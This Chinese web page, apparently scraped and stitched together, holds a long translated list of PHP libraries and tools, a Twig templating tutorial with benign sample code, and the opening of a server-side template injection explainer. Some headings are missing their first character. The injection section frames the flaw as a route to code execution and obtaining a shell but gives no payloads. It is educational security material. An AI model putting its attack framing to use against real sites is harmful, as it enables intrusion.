整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

PHP 资源列表大全

PHP 资源列表大全

习PHP的都想剖开框架了解下底层原理,一个PHP资源列表,内容包括:库、框架、模板、安全、代码分析、日志、第三方库、配置工具、Web 工具、书籍、电子书、经典博文等等。

依赖管理 Dependency Management

依赖和包管理库

  • Composer/Packagist - 一个包和依赖管理器

  • Composer Installers - 一个多框架Composer库安装器

  • Pickle - 一个PHP扩展安装器

  • Melody - 一个用于构建Composer脚本文件的工具

  • Climb - 一个Composer版本管理工具


其他的依赖管理 Dependency Management Extras

其他的相关依赖管理

  • Satis - 一个静态Composer存储库的生成器

  • Toran Proxy - 一个静态Composer存储库和代理

  • Composition - 一个在运行时检查Composer环境的库

  • NameSpacer - 一个转化下划线到命名空间的库

  • Patch Installer - 一个使用Composer安装补丁的库

  • Composer Checker - 一个校验Composer配置的工具

  • Prestissimo - 一个开启并行安装进程的Composer插件

  • Composer Merge Plugin - 一个用于合并多个composer.json文件的Composer插件

框架 Frameworks

Web开发框架

  • Symfony 2 - 一个独立组件组成的框架 (SF2)

  • Zend Framework 2 - 另一个由独立组件组成的框架 (ZF2)

  • Laravel 5 - 另一个PHP框架 (L5)

  • Aura PHP - 一个独立的组件框架

  • Yii2 - 另一个PHP框架

  • Nette - 另一个由个体组件组成的框架

  • PPI Framework 2 - 一个互操作性框架

  • CakePHP - 一个快速应用程序开发框架 (CP)

  • Phalcon - 通过C扩展实现的框架


其他框架 Framework Extras

其他Web开发框架

  • Symfony CMF - 一个创建自定义CMS的内容管理框架

  • Knp RAD Bundle - Symfony 2的快速应用程序(RAD)包

  • CakePHP CRUD - CakePHP的快速应用程序(RAD)插件


框架组件 Components

来自web开发框架的独立组件

  • Symfony2 Components - Symfony 2组件

  • Zend Framework 2 Components - Zend Framework 2组件

  • Aura Components - PHP5.4组件包

  • CakePHP Plugins - CakePHP插件的目录

  • Hoa Project - 另一个PHP组件包

  • League of Extraordinary Packages - 一个PHP软件开发组


框架配置 Configuration

加载配置文件的库

  • Zend-config - Zend框架的配置组件


微型框架 Micro Frameworks

微型框架和路由

  • Silex - 基于Symfony2组件的微型框架

  • Slim - 另一个简单的微型框架

  • Bullet PHP - 用于构建REST APIs的微型框架

  • Lumen - 一个Laravel的微型框架

  • Proton - 一个StackPHP兼容的微型框架


其他微型框架 Micro Framework Extras

其他相关的微型框架和路由

  • Silex Skeleton - Silex的项目架构

  • Silex Web Profiler - 一个Silex web的调试工具

  • Slim Skeleton - Slim架构

  • Slim View - Slim自定义视图的集合


路由 Routers

处理应用路由的库

  • Fast Route - 一个快速路由的库

  • Route - 一个基于Fast Route的路由的库

  • Pux - 另一个快速路由的库

  • Klein - 一个灵活的路由的库.


模板 Templating

模板化和词法分析的库和工具

  • Twig - 一个全面的模板语言

  • Twig Cache Extension - 一个用于Twig的模板片段缓存库

  • Mustache - 一个Mustache模板语言的PHP实现

  • Phly Mustache - 另一个Mustache模板语言的PHP实现

  • MtHaml - 一个HAML模板语言的PHP实现

  • PHPTAL - 一个TAL模板语言的PHP实现

  • Plates - 一个原生PHP模板库

  • Lex - 一个轻量级模板解析器


静态站点生成器 Static Site Generators

用来生成web页面的预处理内容的工具

  • Sculpin - 转换Markdown和Twig为静态HTML的工具

  • Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具

  • Spress - 一个能够将Markdown和Twig转化为HTML的可扩展工具

  • Couscous - 一个将Markdown转化为漂亮的网站的工具


HTTP

用于HTTP和网站爬取的库

  • Guzzle - 一个全面的HTTP客户端

  • Buzz - 另一个HTTP客户端

  • Requests - 一个简单的HTTP库

  • HTTPFul - 一个链式HTTP库

  • Goutte - 一个简单的web爬取器

  • PHP VCR - 一个录制和重放HTTP请求的库


中间件 Middlewares

使用中间件构建应用程序的库

  • Stack - 一个用于Silex/Symfony的可堆叠的中间件的库

  • Slim Middleware - 一个用于Slim的自定义的中间件的集合

  • Conduit - Sencha Connect连接到PHP的一个端口.


URL

解析URL的库

  • Purl - 一个URL处理库

  • Uri - 另一个URL处理库

  • PHP Domain Parser - 一个本地前缀解析库


Email

发送和解析邮件的库

  • SwiftMailer - 一个邮件解决方案

  • PHPMailer - 另一个邮件解决方案

  • Fetch - 一个IMAP库

  • Email Reply Parser - 一个邮件回复解析的库

  • Stampie - 一个邮件服务库,类似于SendGrid,PostMark,MailGun和Mandrill.

  • CssToInlineStyles - 一个在邮件模板中的内联CSS库

  • Email Validator - 一个较小的电子邮件验证库

  • Mautic - 邮件营销自动化


文件 Files

文件处理和MIME类型检测的库

  • Gaufrette - 一个文件系统抽象层

  • Flysystem - 另一个文件系统抽象层

  • Canal - 一个检测互联网媒体类型的库

  • Apache MIME Types - 一个解析Apache MIME类型的库

  • Ferret - 一个MIME检测库

  • Hoa Mime - 另一个MIME检测库

  • Lurker - 一个资源跟踪库

  • PHP FFmpeg - 一个用于FFmpeg视频包装的库

  • CSV - 一个CSV数据处理库


流 Streams

处理流的库

  • Streamer - 一个简单的面向对象的流包装库


依赖注入 Dependency Injection

实现依赖注入设计模式的库

  • Pimple - 一个小的依赖注入容器

  • Auryn - 一个递归的依赖注入容器

  • Container - 另一个可伸缩的依赖注入容器

  • PHP-DI - 一个支持自动装配和PHP配置的依赖注入容器

  • Acclimate - 一个依赖注入容器和服务定位的通用接口

  • Symfony DI - 一个依赖注入容器组件 (SF2)


图像 Imagery

处理图像的库

  • Imagine - 一个图像处理库

  • PHP Image Workshop - 另一个图像处理库

  • Intervention Image - 另一个图像处理库

  • GIF Frame Extractor - 一个提取GIF动画帧信息的库

  • GIF Creator - 一个通过多张图片创建GIF动画的库

  • Image With Text - 一个在图像中嵌入文本的库

  • Color Extractor - 一个从图像中提取颜色的库

  • Glide - 一个按需处理图像的库

  • Image Optimizer - 一个优化图像的库

  • Image Hash - 一个用于生成图像哈希感知的库


测试 Testing

测试代码和生成测试数据的库

  • PHPUnit - 一个单元测试框架

  • DBUnit - 一个PHPUnit的数据库测试库

  • ParaTest - 一个PHPUnit的并行测试库

  • PHPSpec - 一个基于功能点设计的单元测试库

  • Codeception - 一个全栈测试框架

  • AspectMock - 一个PHPUnit/Codeception的模拟框架。

  • Atoum - 一个简单的测试库

  • Mockery - 一个用于测试的模拟对象的库

  • Phake - 另一个用于测试的模拟对象的库

  • Prophecy - 一个可选度很高的模拟框架

  • Faker - 一个伪数据生成库

  • Samsui - 另一个伪数据生成库

  • Alice - 富有表现力的一代库

  • Behat - 一个行为驱动开发(BDD)测试框架

  • Pho - 另一个行为驱动开发测试框架

  • Mink - Web验收测试

  • HTTP Mock - 一个在单元测试模拟HTTP请求的库

  • VFS Stream - 一个用于测试的虚拟文件系统流的包装器

  • VFS - 另一个用于测试虚拟的文件系统

  • Locust - 一个用Python编写的现代加载测试库

  • Peridot - 一个事件驱动开发的测试框架

  • Kahlan - 全栈Unit/BDD测试框架,内置stub,mock和代码覆盖率的支持


持续集成 Continuous Integration

持续集成的库和应用

  • Travis CI - 一个持续集成平台

  • SemaphoreCI - 一个开放源码和私人项目的持续集成平台

  • PHPCI - 一个PHP的开源的持续集成平台

  • Sismo - 一个持续测试的服务库

  • Jenkins - 一个PHP支持的持续集成平台

  • JoliCi - 一个用PHP编写的由Docker支持的持续集成的客户端


文档 Documentation

生成项目文档的库

  • Sami - 一个API文档生成器

  • APIGen - 另一个API文档生成器

  • PHP Documentor 2 - 一个API文档生成器

  • phpDox - 一个PHP项目的文档生成器(不限于API文档)

  • daux.io - 一个使用Markdown文件的文档生成器


安全 Security

生成安全的随机数,加密数据,扫描漏洞的库

  • HTML Purifier - 一个兼容标准的HTML过滤器

  • RandomLib - 一个生成随机数和字符串的库

  • True Random - 使用www.random.org生成随机数的库

  • SecurityMultiTool - 一个PHP安全库

  • PHPSecLib - 一个纯PHP安全通信库

  • TCrypto - 一个简单的键值加密存储库

  • PHP IDS - 一个结构化的PHP安全层

  • PHP SSH - 一个试验的面向对象的SSH包装库

  • IniScan - 一个扫描PHP INI文件安全的库

  • SensioLabs Security Check - 一个为检查Composer依赖提供安全建议的web工具

  • Zed - 一个集成的web应用渗透测试工具

  • VAddy - 一个持续安全的web应用测试平台

  • Optimus - 基于Knuth乘法散列方法的身份混淆工具


密码 Passwords

处理和存储密码的库和工具

  • Password Compat - 一个新的PHP5.5密码函数的兼容库

  • phpass - 一个便携式的密码哈希框架

  • PHP Password Lib - 一个生成和校验密码的库

  • Password Policy - 一个PHP和JavaScript的密码策略库

  • Password Validator - 一个校验和升级密码哈希的库

  • Zxcvbn PHP - 一个基于Zxcvbn JS的现实的PHP密码强度估计库

  • GenPhrase - 一个随机生成安全密码哈希的库


代码分析 Code Analysis

分析,解析和处理代码库的库和工具

  • PHP Parser - 一个PHP编写的PHP解析器

  • PHPPHP - 一个PHP实现的PHP虚拟机

  • PHPSandbox - 一个PHP沙盒环境

  • Dissect - 一个词法和语法分析的工具集合

  • PHP Mess Detector - 一个扫描代码缺陷,次优代码,未使用的参数等等的库。

  • PHP Code Sniffer - 一个检测PHP、CSS和JS代码标准冲突的库

  • PHPCPD - 一个检测复制和粘贴代码的库

  • PHP Analyser - 一个分析PHP代码查找缺陷和错误的库

  • PHP CS Fixer - 一个编码标准库

  • PHP Manipulator - 一个分析和修改PHP源代码的库

  • PHP Metrics - 一个静态测量库

  • PHP Refactoring Browser - 一个重构PHP代码的命令行工具集

  • PHP Semantic Versioning Checker - 一个比较两个源集和确定适当的应用语义版本的命令行实用程序

  • UBench - 一个简单的微型基准检测库

  • Athletic - 一个基于注释的基准检测库

  • Mondrian - 使用图论的代码分析工具

  • Scrutinizer - 一个审查PHP代码的web工具

  • PHPLOC - 一个快速测量PHP项目大小的工具

  • PHPCheckstyle - 一个帮助遵守特定的编码惯例的工具

  • PhpDependencyAnalysis - 一个创建可定制依赖图的工具

  • Code Climate - 一个自动代码审查工具


Architectural

相关的设计模式库,组织代码编程的方法和途径

  • PHP Option - 一个可选的类型库

  • Ruler - 一个简单的无状态的生产环境规则引擎

  • Finite - 一个简单的PHP有限状态机

  • Compose - 一个功能组合库

  • Monad PHP - 一个简单Monad库

  • Patchwork - 一个重新定义用户的函数库

  • Galapagos - 语言转换进化

  • Design Patterns PHP - 一个使用PHP实现的设计模式存储库

  • Functional PHP - 一个函数式编程库

  • Iter - 一个使用生成器提供迭代原语的库

  • Pipeline - 一个管道模式的实现


调试和分析 Debugging and Profiling

调试和分析代码的库和工具

  • xDebug - 一个调试和分析PHP的工具

  • PHP Debug Bar - 一个调试工具栏

  • PHP Console - 一个web调试控制台

  • Barbushin PHP Console - 另一个使用Google Chrome的web调试控制台

  • PHPDBG - 一个交互的PHP调试器

  • Tracy - A一个简单的错误检测,写日志和时间测量库

  • Z-Ray - 一个调试和配置Zend服务器的工具

  • xHprof - 另一个PHP分析工具

  • Blackfire.io - 一个低开销的代码分析器

  • Kint - 一个调试和分析工具

  • PHPBench - 一个基准测试框架


构建工具 Build Tools

项目构建和自动化工具

  • Bob - 一个简单的项目自动化工具

  • Phake - 一个PHP克隆库

  • Box - 一个构建PHAR文件的工具

  • Phing - 一个灵感来自于Apache Ant的PHP项目构建系统

任务运行器 Task Runners

自动运行任务的库

  • Task - 一个灵感来源于Grunt和Gulp的纯PHP任务运行器

  • Robo - 一个面向对象配置的PHP任务运行器

  • Bldr - 一个构建在Symfony组件上的PHP任务运行器


导航 Navigation

构建导航结构的工具

  • KnpMenu - 一个菜单库

  • Cartographer - 一个站点地图生成库


资源管理 Asset Management

管理,压缩和最小化web站点资源的工具

  • Assetic - 一个资源管理的管道库

  • Pipe - 另一个资源管理的管道库

  • Munee - 一个资源优化库

  • JShrink - 一个JavaScript的最小化库

  • Puli - 一个检测资源绝对路径的库


地理位置 Geolocation

地理编码地址和使用纬度经度的库

  • GeoCoder - 一个地理编码库

  • GeoTools - 一个地理工具相关的库

  • PHPGeo - 一个简单的地理库

  • GeoJSON - 一个GeoJSON的实现


日期和时间 Date and Time

处理日期和时间的库

  • Carbon - 一个简单的日期时间API扩展

  • ExpressiveDate - 另一个日期时间API扩展

  • CalendR - 一个日历管理库


事件 Event

时间驱动或实现非阻塞事件循环的库

  • React - 一个事件驱动的非阻塞I/O库.

  • Rx.PHP - 一个reactive扩展库

  • Ratchet - 一个web socket库

  • Hoa WebSocket - 另一个web socket库

  • Hoa EventSource - 一个事件源库

  • Evenement - 一个事件调度的库

  • Event - 一个专注于域名事件的库

  • Cake Event - 一个事件调度的库 (CP)

  • Broadway - 一个事件源和CQRS(命令查询责任分离)库


日志 Logging

生成和处理日志文件的库

  • Monolog - 一个全面的日志工具

  • KLogger - 一个易用的兼容PSR-3的日志类

  • Analog - 一个基于闭包的微型日志包


电子商务 E-commerce

处理支付和构建在线电子商务商店的库和应用

  • OmniPay - 一个框架混合了多网关支付处理的库

  • Payum - 一个支付抽象库

  • Sylius - 一个开源的电子商务解决方案

  • Thelia - 另一个开源的电子商务解决方案

  • Money - 一个Fowler金钱模式的PHP实现

  • Sebastian Money - 另一个处理货币值的库

  • Swap - 一个汇率库


PDF

处理PDF文件的库和软件

  • Snappy - 一个PDF和图像生成器库

  • WKHTMLToPDF - 一个将HTML转换为PDF的工具

  • PHPPdf - 一个将XML文件转换为PDF和图片的库

  • Dompdf - 一个将HTML转换为PDF的工具


Office

Libraries for working with office suite documents.

  • PHPWord - 一个处理Word文档的库

  • PHPExcel - 一个处理Excel文档的库

  • PHPPowerPoint - 一个处理PPT文档的库

  • ExcelAnt - 一个操作Excel文档的库


数据库 Database

使用对象关系映射(ORM)或数据映射技术的数据库交互的库

  • Doctrine - 一个全面的DBAL和ORM

  • Doctrine Extensions - 一个Doctrine行为扩展的集合

  • Propel - 一个快速的ORM,迁移库和查询构架器

  • Eloquent - 一个简单的ORM(L5)

  • LazyRecord - 一个简单、可扩展、高性能的ORM

  • Baum - 一个Eloquent的嵌套集实现

  • Spot2 - 一个MySQL的ORM映射器

  • RedBean - 一个轻量级,低配置的ORM

  • Pomm - 一个PostgreSQL对象模型管理器

  • ProxyManager - 一个为数据映射生成代理对象的工具集

  • Cake ORM - 对象关系映射工具,利用DataMapper模式实现 (CP)


迁移 Migrations

帮助管理数据库模式和迁移的库

  • PHPMig - 另一个迁移管理库

  • Phinx - 另一个数据库迁移的管理库

  • Migrations - 一个迁移管理库

  • Doctrine Migrations - 一个Doctrine的迁移库

  • Ruckusing - 基于PHP下ActiveRecord的数据库迁移,支持MySQL, Postgres, SQLite


NoSQL

处理NoSQL后端的库

  • MongoQB - 一个MongoDB查询构建库

  • Monga - 一个MongoDB抽象库

  • Predis - 一个功能完整的Redis库


队列 Queue

处理事件和任务队列的库

  • Pheanstalk - 一个Beanstalkd客户端库

  • PHP AMQP - 一个纯PHP AMQP库

  • Thumper - 一个RabbitMQ模式库

  • Bernard - 一个多后端抽象库


搜索 Search

在数据上索引和执行查询的库和软件

  • ElasticSearch PHP - ElasticSearch的官方客户端库

  • Elastica - ElasticSearch的客户端库

  • Solarium - Solr的客户端库

  • SphinxQL query builder - Sphinx搜索引擎的的查询库


命令行 Command Line

关于命令行工具的库

  • Boris - 一个微型PHP REPL

  • PsySH - 另一个PHP REPL

  • Pecan - 一个事件驱动和非阻塞的shell

  • GetOpt - 一个命令行选择解析器

  • OptParse - 另一个命令行选择解析器

  • Commando - 另一个简单的命令行选择解析器

  • GetOptionKit - 另一个命令行选择解析器

  • Cron Expression - 一个计算cron运行日期的库

  • ShellWrap - -一个简单的命令行包装库

  • Hoa Console - 另一个命令行库

  • Shunt - 一个在多台远程机器上并行运行命令行的库

  • Cilex - 一个构建命令行工具的微型框架

  • CLImate - 一个输出带颜色的和特殊格式的命令行库

  • CLI Menu - 一个构建CLI菜单的库

  • CLIFramework - 一个支持完全zsh/bash、子命令和选项约束的命令行框架,这也归功于phpbrew


身份验证和授权 Authentication and Authorization

实现身份验证和授权的库

  • Sentinel - 一个混合的身份验证和授权的框架库

  • Sentinel Social - 一个社交网络身份验证库

  • Opauth - 一个多渠道的身份验证框架

  • OAuth2 Server - 一个OAuth2身份验证服务,资源服务器和客户端库

  • OAuth2 Server - 另一个OAuth2服务器实现

  • PHP oAuthLib - 另一个OAuth库

  • TwitterOAuth - 一个Twitter OAuth库

  • TwitterSDK - 一个完全测试的Twitter SDK

  • Hawk - 一个Hawk HTTP身份认证库

  • HybridAuth - 一个开源的社交登陆库

  • Lock - 一种实现访问控制列表(ACL)系统的库

  • OAuth 1.0 Client - 一个OAuth 1.0客户端的库

  • OAuth 2.0 Client - 一个OAuth 2.0客户端的库


标记 Markup

处理标记的库

  • Decoda - 一个轻量级标记解析库

  • PHP Markdown - 一个Markdown解析器

  • CommonMark PHP - 一个对CommonMark spec全支持的Markdown解析器

  • Parsedown - 另一个Markdown解析器

  • Ciconia - 另一个支持Github Markdown风格的Markdown解析器

  • Cebe Markdown - 一个快速的可扩展的Markdown解析器

  • HTML to Markdown - 将HTML转化为Markdown

  • HTML5 PHP - 一个HTML5解析和序列化库

  • Emoji - 一个把Unicode字符和名称转换为表情符号图片的库


字符串 Strings

解析和处理字符串的库

  • ANSI to HTML5 - 一个将ANSI转化为HTML5的库

  • Patchwork UTF-8 - 一个处理UTF-8字符串的便携库

  • Hoa String - 另一个UTF-8字符串库

  • Stringy - 一个多字节支持的字符串处理库

  • Color Jizz - 处理和转换颜色的库

  • UUID - 生成UUIDs的库

  • Slugify - 转换字符串到slug的库

  • URLify - 一个Django中URLify.js的PHP版本

  • Text - 一个文本处理库

  • SQL Formatter - 一个格式化SQL语句的库

  • UA Parser - 一个解析user agent字符串的库

  • Device Detector - 另一个解析user agent字符串的库

  • Mobile-Detect - 一个用于检测移动设备的轻量级PHP类(包括平板电脑)

  • Agent - 一个基于Mobiledetect的桌面/手机端user agent解析库


数字 Numbers

处理数字的库

  • Numbers PHP - 一个处理数字的库

  • Math - 一个处理巨大数字的库

  • ByteUnits - 一个在二进制和度量系统中解析,格式化和转换字节单元的库

  • PHP Units of Measure - 一个计量单位转换的库

  • PHP Conversion -另一个计量单位转换的库

  • LibPhoneNumber for PHP - 一个Google电话号码处理的PHP实现库


过滤和验证 Filtering and Validation

过滤和验证数据的库

  • Filterus - 一个简单的PHP过滤库

  • Respect Validation - 一个简单的验证库

  • Valitron - 另一个验证库

  • Cake Validation - 另一个验证库 (CP)

  • Upload - 一个处理文件上传和验证的库

  • DMS Filter - 一个注释过滤库

  • MetaYaml - 一个支持YAML,JSON和XML的模式验证库

  • ISO-codes - 一个验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)


API

开发REST-ful API的库和web工具

  • Apigility - 一个使用Zend Framework 2构建的API构建器

  • Hateoas - 一个HOATEOAS REST web服务库

  • HAL - 一个超文本应用语言(HAL)构建库

  • Negotiation - 一个内容协商库

  • Drest - 一个将Doctrine实体暴露为REST资源节点的库

  • Restler - 一个将PHP方法暴露为RESTful web API的轻量级框架

  • wsdl2phpgenerator - 一个从SOAP WSDL文件生成PHP类的工具


缓存 Caching

缓存数据的库

  • Alternative PHP Cache (APC) - 打开PHP操作码缓存

  • Doctrine Cache - 一个缓存库

  • Zend Cache - 另一个缓存库 (ZF2)

  • Cake Cache - 一个缓存库 (CP)

  • Stash - 另一个缓存库

  • CacheTool - 一个使用命令行清除apc/opcode缓存的工具

  • phpRedisAdmin - 一个用于管理Redis数据库的简单web界面

  • phpPgAdmin - 一个PostgreSQL的web管理工具

  • phpMyAdmin - 一个MySQL/MariaDB的web界面

  • Adminer - 一个数据库管理工具

  • Grav - 一个现代的flat-file的CMS


数据结构和存储 Data Structure and Storage

实现数据结构和存储技术的库

  • Ardent - 一个数据结构库

  • PHP Collections - 一个简单的集合库

  • Collections - 一个PHP的集合抽象库

  • Serializer - 一个序列化和反序列化数据的库

  • Zend Serializer - 另一个序列化和反序列化数据的库 (ZF2)

  • Fractal - 一个转换复杂数据结构到JSON输出的库

  • Totem - -一个管理和创建数据交换集的库

  • PINQ - 一个基于.NET实现的PHP的LINQ(Language Integrated Query)库

  • YaLinqo - 另一个PHP的LINQ库

  • Ginq - 另一个基于.NET实现的PHP的LINQ库

  • JsonMapper - 一个将内嵌JSON结构映射为PHP类的库

  • Cake Collection - 一个简单的集合库 (CP)


通知 Notifications

处理通知软件的库

  • Nod - 一个通知库(Growl等)

  • Notificato - 一个处理推送通知的库

  • Notification Pusher - 一个设备推送通知的独立库

  • Notificator - 一个轻量级的通知库


部署 Deployment

项目部署库

  • Pomander - 一个PHP应用部署工具

  • Rocketeer - PHP世界里的一个快速简单的部署器

  • Envoy - 一个用PHP运行SSH任务的工具

  • Plum - 一个部署库

  • Deployer - 一个部署工具


国际化和本地化 Internationalisation and Localisation

国际化(I18n)和本地化(L10n)的库

  • Aura Intl

  • Cake I18n - 消息国际化和日期和数字的本地化 (CP)


第三方API Third Party APIs

访问第三方API的库

  • Amazon Web Service SDK - PHP AWS SDK官方库

  • S3 Stream Wrapper - Amazon S3流包装库

  • Stripe - Stripe官方PHP库

  • Campaign Monitor - Campaign Monitor官方PHP库

  • Digital Ocean - Digital Ocean API接口库

  • Github - 一个Github API交互库

  • PHP Github API - 另一个Github API交互库

  • Twitter OAuth - 一个Twitter OAuth工作流交互库

  • Twitter REST - 一个Twitter REST API交互库

  • Dropbox SDK - Dropbox SDK官方PHP库

  • Twilio - Twilio官方PHP REST API

  • Mailgun - Mailgun官方PHP REST API


扩展 Extensions

帮助构建PHP扩展的库

  • Zephir - 用于开发PHP扩展,且介于PHP和C++之间的编译语言

  • PHP CPP - 一个开发PHP扩展的C++库


杂项 Miscellaneous

不在上面分类中的有用库和工具

  • Spork - 一个处理forking的库

  • JSON Lint - 一个JSON lint工具

  • JSONPCallbackValidator - 验证JSONP回调的库

  • Pagerfanta - 一个分页库

  • LiteCQRS - 一个CQRS(命令查询责任分离)库

  • Chief - 一个命令总线库

  • Sslurp - 一个使得SSL处理减少的库

  • Metrics - 一个简单的度量API库

  • Sabre VObject - 一个解析VCard和iCalendar对象的库

  • Annotations - 一个注释库(Doctrine的一部分)

  • Whoops - 一个不错的错误处理库

  • LadyBug - 一个dumper库

  • Symfony VarDumper - 一个dumper库(SF2)

  • Procrastinator - 一个运行耗时任务的库

  • SuperClosure - 一个允许闭包序列化的库

  • Jumper - 一个远程服务执行库

  • Underscore - 一个Undersccore JS库的PHP实现

  • PHP PassBook - 一个iOS PassBook PHP库

  • PHP Expression - 一个PHP表达式语言

  • RMT - 一个编写版本和发布软件的库

  • Opengraph - 一个开放图库

  • Essence -一个提取web媒体的库

  • Embera - 一个Oembed消费库

  • Graphviz - 一个图形库

  • Flux - 一个正则表达式构建库

  • PHPCR - 一个Java内容存储库(JCR)的PHP实现

  • ClassPreloader - 一个优化自动加载的库

  • PHPStack - 一个PHP编写的TCP/IP栈概念

  • Nmap - 一个Nmap PHP包装器

  • Lambda PHP - 一个PHP中的Lambda计算解析器

  • Country List - 所有带有名称和ISO 3166-1编码的国家列表

  • PHP-GPIO - 一个用于Raspberry PI的GPIO pin的库

  • print_o - 一个对象图的可视化器

  • Alias - 一个类别名库

  • Cake Utility - 工具类如Inflector,字符串,哈希,安全和XML (CP)

  • Slimdump - 一个简单的MySQL dumper工具


软件 Software

创建一个开发环境的软件

PHP安装 PHP Installation

在你的电脑上帮助安装和管理PHP的工具

  • HomeBrew - 一个OSX包管理器

  • HomeBrew PHP - 一个HomeBrew的PHP通道

  • PHP OSX - 一个OSX下的PHP安装器

  • PHP Brew - 一个PHP版本管理和安装器

  • PHP Env - 另一个PHP版本管理器

  • PHP Switch - 另一个PHP版本管理器

  • PHP Build - 另一个PHP版本安装器

  • VirtPHP - 一个创建和管理独立PHP环境的工具


开发环境 Development Environment

创建沙盒开发环境的软件和工具

  • Vagrant - 一个便携的开发环境工具

  • Ansible - 一个非常简单的编制框架

  • Puppet - 一个服务器自动化框架和应用

  • PuPHPet - 一个构建PHP开发虚拟机的web工具

  • Protobox - 另一个构建PHP开发虚拟机的web工具

  • Phansible - 一个用Ansible构建PHP开发虚拟机的web工具


虚拟机 Virtual Machines

相关的PHP虚拟机

  • HHVM - Facebook出品的PHP虚拟机,Runtime和JIT

  • HippyVM - 另一个PHP虚拟机

  • Hack - 一个PHP进行无缝操作的HHVM编程语言


集成开发环境(IDE) Integrated Development Environment

支持PHP的集成开发环境

  • Netbeans - 一个支持PHP和HTML5的IDE

  • Eclipse for PHP Developers - 一个基于Eclipse平台的PHP IDE

  • PhpStorm - 一个商业PHP IDE


Web应用 Web Applications

基于Web的应用和工具

  • 3V4L - 一个在线的PHP和HHVM shell

  • DBV - 一个数据库版本控制应用

  • PHP Queue - A一个管理后端队列的应用

  • MailCatcher - 一个抓取和查看邮件的web工具

  • Cachet - 开源状态页面系统


基础架构 Infrastructure

提供PHP应用和服务的基础架构

  • appserver.io - 一个用PHP写的多线程的PHP应用服务器

wig

一、模板引擎

模板引擎(Web开发的模板引擎)是为了用户界面与业务数据(内容)分离而产生的,它可以生成特定格式文档,用于网站的模板引擎就会生成一个标准的HTML文档,其本质就是根据一定的规则进行变量替换。模板引擎可以解耦前后端,提高开发效率。

Twig是一款灵活、快速、安全的PHP模板引擎,类似于其他的模板引擎, 如Smarty、Django、Jinja等。每种模板引擎的实现本质是相同的——就是变量替换。

二、Twig安装及使用

目前而言,安装应该都是composer工具安装。

composer require "twig/twig:~2.0"
require_once '/path/to/vendor/autoload.php';
$loader=new \Twig\Loader\ArrayLoader([
 'index'=> 'Hello {{ name }}!',
]);
$twig=new \Twig\Environment($loader);
echo $twig->render('index', ['name'=> 'Fabien']);

三、基本语法

# 输出变量
{{ foo }}
# 判断
{% if foo %}
	{{ foo }}
{% endif %}
# for (foo array)
{% for x in foo %}
	{{ x }}
{% endfor %}
# 格式化(foo array)
{{ foo | json_encode }}
# 运算
{{ foo ? true : false }}
{{ foo + 2 }}
# html 扩展
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
 {{ parent() }}
 <style type="text/css">
 .important { color: #336699; }
 </style>
{% endblock %}
{% block content %}
 <h1>Index</h1>
 <p class="important">
 Welcome to my awesome homepage.
 </p>
{% endblock %}

更多用法请参考官方文档。

四、使用场景

1 目前流行的MVC模式框架的渲染模板

2 发送邮件的内容渲染模板

针对第二种使用场景,这里给出业务实际应用场景,现在有线上预警实时,在发送异常时要发送报告邮件,且邮件格式要使用表格,并具备一定的美观性,这时就可以在发送邮件时,使用twig处理一下,然后再把处理后的内容发送邮件即可,伪代码如下:

# 1 首先引入twig自动加载类,如果是composer安装则不需要

require_once(BASE_DIR . '/deploy/framework/Twig/Autoloader.php');

# 2 获取twig类,使用其render方法

<?php 
class Util {
	/** 
	 * @return \Twig_Environment
	 */
	public static function Twig()
	{ 
	 $autoloader=new \Twig_Autoloader();
	 $autoloader->register(true);
	 $twig=new \Twig_Environment(new \Twig_Loader_Filesystem(array(
	 '__main__'=> app()->basePath() . '/views'
	 )));
	 return $twig;
	} 
}

# 3 代码中使用

$twig=Util::Twig(); 
$context=$twig->render('warning.html', array('foo'=> $foo));
# 4 warning.html代码
<!DOCTYPE html>
<html lang="zh-cn"
 style="margin: 0;padding:0;width:100%;">
	<head>
	 <meta charset="UTF-8">
	 <meta name="viewport"
	 content="width=device-width, initial-scale=1.0">
	 <meta http-equiv="X-UA-Compatible"
	 content="ie=edge">
	 <title>实时监控预警邮件</title>
	</head>
	<body>
		{{ foo }}
	</body>
</html>

欢迎一起交流学习!

参考文档

1 twig官方文档,https://twig.symfony.com/doc/2.x/

2 smarty 模板引擎 https://www.smarty.net/files/docs/manual-en-2.6.pdf

3 https://blog.csdn.net/cjqh_hao/article/details/99172960

么是SSTI

SSTI:开局一张图,姿势全靠y


SSTI,即服务器端模板注入(Server-Side Template Injection)

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句

SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题

在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正

模板引擎

模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的

常见的模板引擎有

1.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

